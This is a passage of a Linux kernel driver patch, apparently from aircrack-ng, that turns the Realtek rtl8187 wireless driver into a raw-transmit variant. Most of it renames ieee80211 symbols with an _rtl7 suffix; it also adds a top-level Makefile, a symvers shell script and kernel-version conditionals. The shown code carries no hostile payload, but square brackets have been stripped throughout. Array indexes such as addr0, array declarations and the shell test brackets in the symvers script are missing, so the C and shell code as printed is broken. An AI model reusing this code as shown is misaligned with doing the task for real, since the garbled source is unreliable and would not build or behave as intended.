++static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee,
+  					   char *start, char *stop,
+ 					   struct ieee80211_network *network)
+ {
+@@ -207,7 +207,7 @@
+ 	return start;
+ }
+ 
+-int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 			  struct iw_request_info *info,
+ 			  union iwreq_data *wrqu, char *extra)
+ {
+@@ -220,13 +220,14 @@
+ 
+ 	IEEE80211_DEBUG_WX("Getting scan\n");
+ 	down(&ieee->wx_sem);
++	printk("GOT WX GET SCAN WX_SEM LOCK");
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 
+ 	list_for_each_entry(network, &ieee->network_list, list) {
+ 		i++;
+ 		if (ieee->scan_age == 0 ||
+ 		    time_after(network->last_scanned + ieee->scan_age, jiffies))
+-			ev = ipw2100_translate_scan(ieee, ev, stop, network);
++			ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network);
+ 		else
+ 			IEEE80211_DEBUG_SCAN(
+ 				"Not showing network '%s ("
+@@ -247,7 +248,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *keybuf)
+ {
+@@ -281,7 +282,7 @@
+ 		if (key_provided && *crypt) {
+ 			IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n",
+ 					   key);
+-			ieee80211_crypt_delayed_deinit(ieee, crypt);
++			ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 		} else
+ 			IEEE80211_DEBUG_WX("Disabling encryption.\n");
+ 
+@@ -291,7 +292,7 @@
+ 			if (ieee->crypti != NULL) {
+ 				if (key_provided)
+ 					break;
+-				ieee80211_crypt_delayed_deinit(
++				ieee80211_crypt_delayed_deinit_rtl7(
+ 					ieee, &ieee->crypti);
+ 			}
+ 		}
+@@ -314,7 +315,7 @@
+ 	    strcmp((*crypt)->ops->name, "WEP") != 0) {
+ 		/* changing to use WEP; deinit previously used algorithm
+ 		 * on this key */
+-		ieee80211_crypt_delayed_deinit(ieee, crypt);
++		ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 	}
+ 
+ 	if (*crypt == NULL) {
+@@ -326,10 +327,10 @@
+ 		if (new_crypt == NULL)
+ 			return -ENOMEM;
+ 		memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data));
+-		new_crypt->ops = ieee80211_get_crypto_ops("WEP");
++		new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP");
+ 		if (!new_crypt->ops) {
+ 			request_module("ieee80211_crypt_wep");
+-			new_crypt->ops = ieee80211_get_crypto_ops("WEP");
++			new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP");
+ 		}
+ 
+ 		if (new_crypt->ops && try_module_get(new_crypt->ops->owner))
+@@ -418,7 +419,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *keybuf)
+ {
+@@ -470,6 +471,6 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_wx_get_scan);
+-EXPORT_SYMBOL(ieee80211_wx_set_encode);
+-EXPORT_SYMBOL(ieee80211_wx_get_encode);
++EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7);
+diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile
+--- rtl8187_orig/ieee80211/Makefile	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/Makefile	2007-05-27 10:47:26.000000000 +0200
+@@ -17,6 +17,7 @@
+ KVER  := $(shell uname -r)
+ KSRC := /lib/modules/$(KVER)/build
+ INSTALL_PREFIX :=
++PWD = $(shell pwd)
+ 
+ all: modules
+ 
+diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile
+--- rtl8187_orig/Makefile	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_rawtx/Makefile	2007-05-26 10:39:10.000000000 +0200
+@@ -0,0 +1,36 @@
++prefix        = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless
++r8187dir      = $(prefix)/rtl8187
++ieeedir       = $(prefix)/rtl_ieee80211
++
++default: all
++
++all:
++	$(MAKE) -C ieee80211 $(@)
++	-chmod +x symvers
++	-./symvers
++	$(MAKE) -C beta-8187 $(@)
++
++install:
++	install -d $(ieeedir)
++	install -d $(r8187dir)
++	install -m 644 ./ieee80211/*.ko $(ieeedir)
++	install -m 644 ./beta-8187/*.ko $(r8187dir)
++	-depmod -ae
++
++uninstall:
++	-rm -f $(ieeedir)/ieee80211-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko
++	-rm -f $(r8187dir)/r8187.ko
++	-rm -fr $(ieeedir)
++	-rm -fr $(r8187dir)
++	-depmod -ae
++
++clean:
++	$(MAKE) -C ieee80211 $(@)
++	$(MAKE) -C beta-8187 $(@)
++
++distclean: clean
++
+diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers
+--- rtl8187_orig/symvers	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_rawtx/symvers	2007-05-26 10:39:22.000000000 +0200
+@@ -0,0 +1,25 @@
++#!/bin/sh
++
++cd beta-8187
++
++if  -e Module.symvers 
++then
++	rm Module.symvers
++fi
++
++if  -e Modules.symvers 
++then
++	rm Modules.symvers
++fi
++
++if  -e ../ieee80211/Module.symvers 
++then
++	ln -sf ../ieee80211/Module.symvers ./
++fi
++
++if  -e ../ieee80211/Modules.symvers 
++then
++	ln -sf ../ieee80211/Modules.symvers ./
++fi
++
++cd ..

aircrack-ng-1.7.tar.gz/patches/old/rtl8187_2.6.21v3.patch Added

@@ -0,0 +1,11954 @@
+diff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h
+--- rtl8187_orig/beta-8187/ieee80211_crypt.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h	2007-06-21 23:44:38.000000000 +0200
+@@ -75,12 +75,12 @@
+ 	atomic_t refcnt;
+ };
+ 
+-int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops);
+-int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops);
+-struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name);
+-void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int);
+-void ieee80211_crypt_deinit_handler(unsigned long);
+-void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee,
++int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name);
++void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int);
++void ieee80211_crypt_deinit_handler_rtl7(unsigned long);
++void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee,
+ 				    struct ieee80211_crypt_data **crypt);
+ 
+ #endif
+diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h
+--- rtl8187_orig/beta-8187/ieee80211.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/ieee80211.h	2007-06-21 23:44:38.000000000 +0200
+@@ -156,6 +156,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -840,14 +856,14 @@
+ 
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11))
+-extern inline int is_multicast_ether_addr(const u8 *addr)
++extern inline int is_multicast_ether_addr_rtl7(const u8 *addr)
+ {
+         return ((addr0 != 0xff) && (0x01 & addr0));
+ }
+ #endif
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13))
+-extern inline int is_broadcast_ether_addr(const u8 *addr)
++extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr)
+ {
+ 	return ((addr0 == 0xff) && (addr1 == 0xff) && (addr2 == 0xff) &&   \
+ 		(addr3 == 0xff) && (addr4 == 0xff) && (addr5 == 0xff));
+@@ -1015,10 +1031,16 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	
+ 	struct workqueue_struct *wq;
+@@ -1154,12 +1176,12 @@
+ 
+ 
+ 
+-extern inline void *ieee80211_priv(struct net_device *dev)
++extern inline void *ieee80211_priv_rtl7(struct net_device *dev)
+ {
+ 	return ((struct ieee80211_device *)netdev_priv(dev))->priv;
+ }
+ 
+-extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len)
++extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len)
+ {
+ 	/* Single white space is for Linksys APs */
+ 	if (essid_len == 1 && essid0 == ' ')
+@@ -1175,7 +1197,7 @@
+ 	return 1;
+ }
+ 
+-extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode)
++extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode)
+ {
+ 	/*
+ 	 * It is possible for both access points and our device to support
+@@ -1201,7 +1223,7 @@
+ 	return 0;
+ }
+ 
+-extern inline int ieee80211_get_hdrlen(u16 fc)
++extern inline int ieee80211_get_hdrlen_rtl7(u16 fc)
+ {
+ 	int hdrlen = 24;
+ 
+@@ -1229,140 +1251,144 @@
+ 
+ 
+ /* ieee80211.c */
+-extern void free_ieee80211(struct net_device *dev);
+-extern struct net_device *alloc_ieee80211(int sizeof_priv);
++extern void free_ieee80211_rtl7(struct net_device *dev);
++extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv);
+ 
+-extern int ieee80211_set_encryption(struct ieee80211_device *ieee);
++extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee);
+ 
+ /* ieee80211_tx.c */
+ 
+-extern int ieee80211_encrypt_fragment(
++extern int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len);
+ 	
+-extern int ieee80211_xmit(struct sk_buff *skb,
++extern int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 			  struct net_device *dev);
+-extern void ieee80211_txb_free(struct ieee80211_txb *);
++extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *);
+ 
+ 
+ /* ieee80211_rx.c */
+-extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats);
+-extern void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 			     struct ieee80211_hdr *header,
+ 			     struct ieee80211_rx_stats *stats);
+ 
+ /* ieee80211_wx.c */
+-extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+ /* ieee80211_softmac.c */
+-extern short ieee80211_is_54g(struct ieee80211_network net);
+-extern short ieee80211_is_shortslot(struct ieee80211_network net);
+-extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern short ieee80211_is_54g_rtl7(struct ieee80211_network net);
++extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net);
++extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype);
+-extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net);
++extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net);
+ 
+-extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_master_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_ibss(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_init(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_free(struct ieee80211_device *ieee);
+-extern void ieee80211_associate_abort(struct ieee80211_device *ieee);
+-extern void ieee80211_disassociate(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_scan(struct ieee80211_device *ieee);
+-extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee);
+-extern void ieee80211_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_reset_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_wake_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_queue(struct ieee80211_device *ieee);
+-extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee);
+-extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee);
+-extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p);
+-extern void notify_wx_assoc_event(struct ieee80211_device *ieee);
+-extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success);
++extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
++extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee);
++extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p);
++extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success);
+ 
+ /* ieee80211_softmac_wx.c */
+ 
+-extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, 
+ 			    struct iw_request_info *info, 
+ 			    union iwreq_data *wrqu, char *ext);
+ 			    
+-extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra);
+ 			 
+-extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
++extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
+ 
+-extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, 
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra);
+ 			      
+-extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work);
++#else
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee);
++#endif
+ 
+-extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+ 			       union iwreq_data *wrqu, char *extra);
+ 			       
+-extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 				 			     
+-extern const long ieee80211_wlan_frequencies;
++extern const long ieee80211_wlan_frequencies_rtl7;
+ 
+-extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee)
++extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->scans++;
+ }
+ 
+-extern inline int ieee80211_get_scans(struct ieee80211_device *ieee)
++extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	return ieee->scans;
+ }
+@@ -1372,7 +1398,7 @@
+ 	const char *s = essid;
+ 	char *d = escaped;
+ 
+-	if (ieee80211_is_empty_essid(essid, essid_len)) {
++	if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) {
+ 		memcpy(escaped, "<hidden>", sizeof("<hidden>"));
+ 		return escaped;
+ 	}
+diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile
+--- rtl8187_orig/beta-8187/Makefile	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/Makefile	2007-05-27 10:47:14.000000000 +0200
+@@ -18,6 +18,8 @@
+ KVER  := $(shell uname -r)
+ KSRC := /lib/modules/$(KVER)/build
+ INSTALL_PREFIX :=
++PWD = $(shell pwd)
++
+ all: modules
+ 
+ clean:
+diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c
+--- rtl8187_orig/beta-8187/r8180_93cx6.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_93cx6.c	2007-06-21 23:44:42.000000000 +0200
+@@ -87,7 +87,7 @@
+ 
+ u32 eprom_read(struct net_device *dev, u32 addr)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short read_cmd={1,1,0};
+ 	short addr_str8;
+ 	int i;
+diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h
+--- rtl8187_orig/beta-8187/r8180_hw.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_hw.h	2007-06-21 23:44:38.000000000 +0200
+@@ -646,6 +646,7 @@
+ #define FFER_INTR    ((1<<15))
+ #define FFER_GWAKE   ((1<< 4))
+ 
+-
++#define MAX_TX_POWER	27
++#define MIN_TX_POWER	20
+ 
+ #endif
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c
+--- rtl8187_orig/beta-8187/r8180_rtl8225.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c	2007-06-21 23:44:42.000000000 +0200
+@@ -173,7 +173,7 @@
+ 
+ void rtl8225_set_gain(struct net_device *dev, short gain)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	
+@@ -208,7 +208,7 @@
+ {
+ #ifdef USE_8051_3WIRE
+ 
+-        struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++        struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+         struct usb_device *udev = priv->udev;
+         //u8 bit;
+         u16                             wReg80, wReg82, wReg84;
+@@ -255,7 +255,7 @@
+ 	u16 out,select;
+ 	u8 bit;
+ 	u32 bangdata = (data << 4) | (adr & 0xf);
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	out = read_nic_word(dev, RFPinsOutput) & 0xfff3;
+ 		
+@@ -349,7 +349,7 @@
+ 
+ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	int GainIdx;
+ 	int GainSetting;
+@@ -454,9 +454,9 @@
+ 
+ void rtl8225_rf_set_chan(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short gset = (priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_54g(priv->ieee80211->current_network)) ||
++		ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MONITOR;
+ 	
+ 	rtl8225_SetTXPowerLevel(dev, ch);
+@@ -474,7 +474,7 @@
+ 		write_nic_byte(dev,DIFS,0x24); //DIFS: 36 
+ 	
+ 	if(priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_shortslot(priv->ieee80211->current_network))
++		ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network))
+ 		write_nic_byte(dev,SLOT,0x9); //SLOT: 9
+ 		
+ 	else
+@@ -546,7 +546,7 @@
+ 
+ void rtl8225_rf_init(struct net_device *dev) 
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+ 	short channel = 1;
+ 	u16 brsr;
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h
+--- rtl8187_orig/beta-8187/r8180_rtl8225.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h	2007-06-21 23:44:38.000000000 +0200
+@@ -44,3 +44,5 @@
+ extern u32 rtl8225_chan;
+ 
+ #endif
++
++void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch);
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c
+--- rtl8187_orig/beta-8187/r8180_rtl8225z2.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c	2007-06-21 23:44:42.000000000 +0200
+@@ -2,12 +2,12 @@
+   This is part of the rtl8180-sa2400 driver
+   released under the GPL (See file COPYING for details).
+   Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+-  
+-  This files contains programming code for the rtl8225 
++
++  This files contains programming code for the rtl8225
+   radio frontend.
+-  
++
+   *Many* thanks to Realtek Corp. for their great support!
+-  
++
+ */
+ 
+ 
+@@ -32,51 +32,68 @@
+ };
+ 
+ u8 rtl8225z2_gain_a={
+-	0x13,0x27,0x5a,//,0x37,// -82dbm 
+-	0x23,0x23,0x58,//,0x37,// -82dbm 
+-	0x33,0x1f,0x56,//,0x37,// -82dbm 
+-	0x43,0x1b,0x54,//,0x37,// -78dbm 
+-	0x53,0x17,0x51,//,0x37,// -74dbm 
+-	0x63,0x24,0x4f,//,0x37,// -70dbm 
+-	0x73,0x0f,0x4c,//,0x37,// -66dbm 
++	0x13,0x27,0x5a,//,0x37,// -82dbm
++	0x23,0x23,0x58,//,0x37,// -82dbm
++	0x33,0x1f,0x56,//,0x37,// -82dbm
++	0x43,0x1b,0x54,//,0x37,// -78dbm
++	0x53,0x17,0x51,//,0x37,// -74dbm
++	0x63,0x24,0x4f,//,0x37,// -70dbm
++	0x73,0x0f,0x4c,//,0x37,// -66dbm
+ };
+ #if 0
+ u32 rtl8225_chan = {
+ 	0,	//dummy channel 0
+-	0x085c, //1	 
+-	0x08dc, //2  
+-	0x095c, //3  
+-	0x09dc, //4  
+-	0x0a5c, //5  
+-	0x0adc, //6  
+-	0x0b5c, //7  
+-	0x0bdc, //8  
+-	0x0c5c, //9 
+-	0x0cdc, //10  
+-	0x0d5c, //11  
+-	0x0ddc, //12  
+-	0x0e5c, //13 
++	0x085c, //1
++	0x08dc, //2
++	0x095c, //3
++	0x09dc, //4
++	0x0a5c, //5
++	0x0adc, //6
++	0x0b5c, //7
++	0x0bdc, //8
++	0x0c5c, //9
++	0x0cdc, //10
++	0x0d5c, //11
++	0x0ddc, //12
++	0x0e5c, //13
